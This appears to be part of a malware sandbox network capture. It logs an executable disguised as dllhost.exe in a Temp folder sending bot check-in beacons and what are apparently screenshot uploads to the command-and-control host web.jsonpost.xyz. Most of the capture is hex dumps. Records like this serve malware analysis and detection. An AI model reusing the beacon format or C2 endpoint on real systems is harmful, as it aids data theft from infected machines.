Nov 29, 2024 01:53:07.691294909 CET	2472	OUT	Data Raw: 6e 46 7d 2b a0 d5 6e 33 e2 1b eb 58 ee 34 b7 82 0b 96 44 86 d2 d7 ca 78 40 fe 17 3e 52 ee 3f 46 61 c5 61 df 68 b7 9a 83 5c 3c f7 88 1a 7b 65 b5 75 8e 25 44 11 2b ab 84 55 50 02 80 54 1f 94 0f d4 d6 a0 37 b3 ca d2 de b5 9c b3 33 ef 79 a2 b3 8a 29 Data Ascii: nF}+n3X4Dx@>R?Faah\<{eu%D+UPT73y)Yo\|.&5{<:ygo#Kf@f t}fY+&`76Cs[6sDz-BV6F/F022V2jNqXj0jn71]xQ
Nov 29, 2024 01:53:07.810739040 CET	2472	OUT	Data Raw: 22 09 e7 da 76 29 e7 b9 aa a5 a9 25 1b 5f d8 d7 47 e1 ed 02 d2 7b 09 75 ad 6a 56 8b 4c 89 b6 2a 27 df 9d ff 00 ba 3d bf cf 18 af ce 31 58 8c 46 61 88 d7 5e cb b1 fb c6 4d 47 2f ca f2 c8 d5 a5 f0 b4 9b 97 56 fc fe 7d 3a 1c e6 ea 4d d5 d9 ff 00 c2 Data Ascii: "v)%_G{ujVL*'=1XFa^MG/V}:MQ@;o$[t>mQ4JxSE<fQK{a+Tgrc 7+ ?+1G$G _]>8-R__k_["QKEz
Nov 29, 2024 01:53:07.810903072 CET	2472	OUT	Data Raw: 29 0d 2d 14 c0 4a 28 a2 98 05 14 51 40 c2 8a 28 a0 02 8a 4a 5e f4 0c 28 34 51 40 09 45 29 a4 14 c0 28 a2 8a 00 29 29 68 a6 31 05 06 96 93 bd 30 0c 51 4b 45 00 25 1d e9 68 a0 42 51 4b 49 8f c2 81 a0 a2 8c 51 4c 04 a2 96 8c 66 90 ee 26 39 a3 14 b4 Data Ascii: )-J(Q@(J^(4Q@E)())h10QKE%hBQKIQLf&9PbPHK1HS*iNv>!ZJM"hdtf)OWUaqUDX8&86(#4\w"+I?#4S)2RJJbIE!qb~Rcc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49856	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:08.967962027 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49857	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:09.075057030 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:09.075125933 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:09.075186968 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:09.075212002 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:09.195286989 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:09.195358038 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:09.195441961 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:09.195539951 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:09.195729971 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:09.315344095 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:53:09.315507889 CET	4944	OUT	Data Raw: 1d 09 af 3b db 62 7f e7 e3 ff 00 c0 bf e0 9e c7 d5 70 7f f3 e9 7f e0 3f f0 0f 2f d4 74 eb 8d 32 ed ad ae 17 0c bd 08 e8 c3 d4 55 4a ed bc 51 02 cd e1 9b 2d 4c 5d 4f 32 ce 63 68 c4 c9 18 2a ae a5 bf 84 75 e9 df 15 c4 d7 d1 e0 71 12 af 4a f3 5a a7 Data Ascii: ;bp?/t2UJQ-L]O2ch*uqJZcs\$0iu((JZ(QE%QEQELQEQEQEJ(@)(QAQECEPIKI%-%;QEQIK@QEE0(%-(0J(J)))i(-%R)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49858	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:10.326472998 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49860	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:10.593267918 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:10.593336105 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:10.593437910 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:10.593457937 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:10.713475943 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:10.713494062 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:10.713551044 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:10.713638067 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:10.713751078 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:10.713860035 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:10.833906889 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49865	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:11.750669003 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49866	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:12.080267906 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1f222d7432ca15c9e43b1e0ff82cdbaa Host: web.jsonpost.xyz Content-Length: 98266 Cache-Control: no-cache
Nov 29, 2024 01:53:12.080324888 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 66 32 32 32 64 37 34 33 32 63 61 31 35 63 39 65 34 33 62 31 65 30 66 66 38 32 63 64 62 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1f222d7432ca15c9e43b1e0ff82cdbaaContent-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:12.080410957 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:12.080436945 CET	1236	OUT	Data Raw: 30 c6 28 a3 f1 a3 26 80 13 f3 34 9d fb 52 9c e7 b5 1c d0 34 25 27 5a 5c 73 cd 25 00 21 ed 41 eb 4b 8f d2 90 f0 45 31 81 a4 23 9a 5a 31 fa 7a 52 01 3a d0 28 e6 8c fe 14 c6 20 a0 52 fb d2 50 01 ef d6 8e 28 e9 fc a8 cd 03 13 b8 f7 a3 fc f3 4b 8a 0d Data Ascii: 0(&4R4%'Z\s%!AKE1#Z1zR:( RP(K!h4%/I@Ezt:iE'J))sJh&,uwtRHa(QE))h(QE(BgRh`-.MRmSE&n)4hw#'}6z
Nov 29, 2024 01:53:12.200592995 CET	4944	OUT	Data Raw: 8c d1 9a 34 01 bb 48 a4 35 ab a2 69 c7 58 d5 e0 d3 fc ef 2b cd dd f3 95 dd 8c 29 6e 99 1e 95 d7 1f 86 59 ff 00 98 b8 ff 00 c0 5f fe ce b8 6b e3 e8 d0 9f 24 f7 3d 1c 36 59 88 c4 d3 f6 94 d2 b7 a9 e7 94 57 a1 7f c2 b0 ff 00 a8 bf fe 4b 7f f6 75 8d Data Ascii: 4H5iX+)nY_k$=6YWKux&IpoI\T*sJ9_7KnZ);GN(bEwv~[]jYv};wq1yn=L_eyI]W]ggw+o$
Nov 29, 2024 01:53:12.200989962 CET	18540	OUT	Data Raw: 0f 52 8d 3c 3f 2b 92 b3 77 93 b2 7f e6 45 45 35 a5 54 8f cc 60 e2 3d 9e 66 fd 87 1b 77 6d dd 9c 74 dd c6 7d 78 ab 33 da 5d da 2a 35 d5 9d d5 ba b9 c2 99 a0 74 0d f4 24 0a f7 3d a4 2f 6b a3 e5 7d 95 4b 5f 95 db d0 82 8a 42 40 19 27 00 54 97 10 cf Data Ascii: R<?+wEE5T`=fwmt}x3]*5t$=/k}K_B@'Tis2XU20HVQGiww'{6q`8"#C Is:Z#WY1IXb0s^f+GS9i{8Wz&@
Nov 29, 2024 01:53:12.320673943 CET	2472	OUT	Data Raw: 53 b5 d6 9e d7 9b 40 8b 73 ed 0f 22 2b ba a1 c1 65 42 43 30 04 1c 90 08 18 3e 86 ac 02 19 41 1d 08 cd 65 d8 dc 6a 3f d8 f0 e9 b7 67 54 85 61 12 a2 0b 3b f6 8e 07 47 62 e0 4b 16 d2 1c 82 c4 64 15 c8 c0 3d 2b 4d 06 d8 d5 7d 00 15 df 81 a9 5e 70 fd Data Ascii: S@s"+eBC0>Aej?gTa;GbKd=+M}^p+3SWNq#:E<Lgu8Vs`3G#*Hj+hr=oww-+D\,TCR'IkZdW0]lcu~%GR9)4wo8
Nov 29, 2024 01:53:12.320728064 CET	2472	OUT	Data Raw: 47 ed 6c 73 4d 19 34 c2 a4 7d 2b ad 5d 3b 4b 53 f3 09 a4 fc 71 56 ed ec 34 d9 a2 b9 44 b3 55 d9 03 38 66 3b 88 22 a2 58 e8 c5 6c cb 8d 66 dd ac 70 c5 69 a4 7b d4 ce 31 51 63 35 e8 46 57 57 37 4c 61 14 d2 31 4f c6 69 a2 a8 b1 9d e9 a6 9e 7f ce 29 Data Ascii: GlsM4}+];KSqV4DU8f;"Xlfpi{1Qc5FWW7La1Oi)qL49O<4o;Zx5,L44zC'KwTNs]Es/n-Gq[-\`+>b6nq]$i8I\|[Qykoshv"
Nov 29, 2024 01:53:12.320830107 CET	4944	OUT	Data Raw: 00 09 25 41 3d 00 1d eb d4 cb 71 55 5c fd 8d 47 7b ea 9d ee 78 59 d6 02 84 69 fd 62 8a e5 b3 b3 56 b1 8f 45 14 57 b8 7c c0 51 45 14 01 77 47 b5 8e f7 58 b4 b5 9b 3e 5c b2 84 6c 1c 1c 1a f4 2f f8 40 34 6f ef 5d 7f df c1 fe 15 c1 f8 77 fe 46 3d 3b Data Ascii: %A=qU\G{xYibVEW\|QEwGX>\l/@4o]wF=;]$a1yxJNMiY9Uoh*+LwK?kFw?_Oc?:u
Nov 29, 2024 01:53:12.361809969 CET	28428	OUT	Data Raw: e5 0c ae 4a 32 a2 b3 36 0e 33 c6 c6 1d 3a 8a e3 a3 37 2f e1 5d 33 49 8d 2d 24 6b 7b 29 52 e0 cb 66 8d 22 bb 4c ee 02 c8 c8 58 7c a4 1f 95 b1 cf ae 6b 5f fb 4a da 5d 7b 5c bb be 9a 53 65 e6 5e 4d a6 4e b1 31 c1 96 27 43 19 18 c8 56 2c ad ec 57 fd Data Ascii: J263:7/]3I-$k{)Rf"LX\|k_J]{\Se^MN1'CV,WiK/meeucRIKr/-+-HdP)y.@[\|n]0rqjK==l$x-LTX(xe*"K~zv$XX"&3cqtXI
Nov 29, 2024 01:53:12.481775045 CET	12360	OUT	Data Raw: ac 29 63 4d a5 a4 34 86 14 94 b4 94 0c 4a 28 34 50 30 34 da 71 a6 d0 31 28 a5 34 94 14 14 94 1a 4a 00 3b d2 52 f7 a4 34 0c 29 29 69 28 18 94 51 49 4c 61 49 41 34 84 d2 1a 0c d2 66 8a 28 28 29 0d 19 a4 34 00 1a 4a 5a 43 4c 62 1a 0d 07 3d 68 3d 29 Data Ascii: )cM4J(4P04q1(4J;R4))i(QILaIA4f(()4JZCLb=h=)LRhv4;K(>'^^44/4Z)?/JCLbGFsHbw?!4"Hh#OZ:b<0GEVgQ@Q@Q@Q@/IKI@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49871	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:13.172992945 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49872	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:13.600236893 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:13.600323915 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:13.600397110 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:13.600420952 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:13.720398903 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
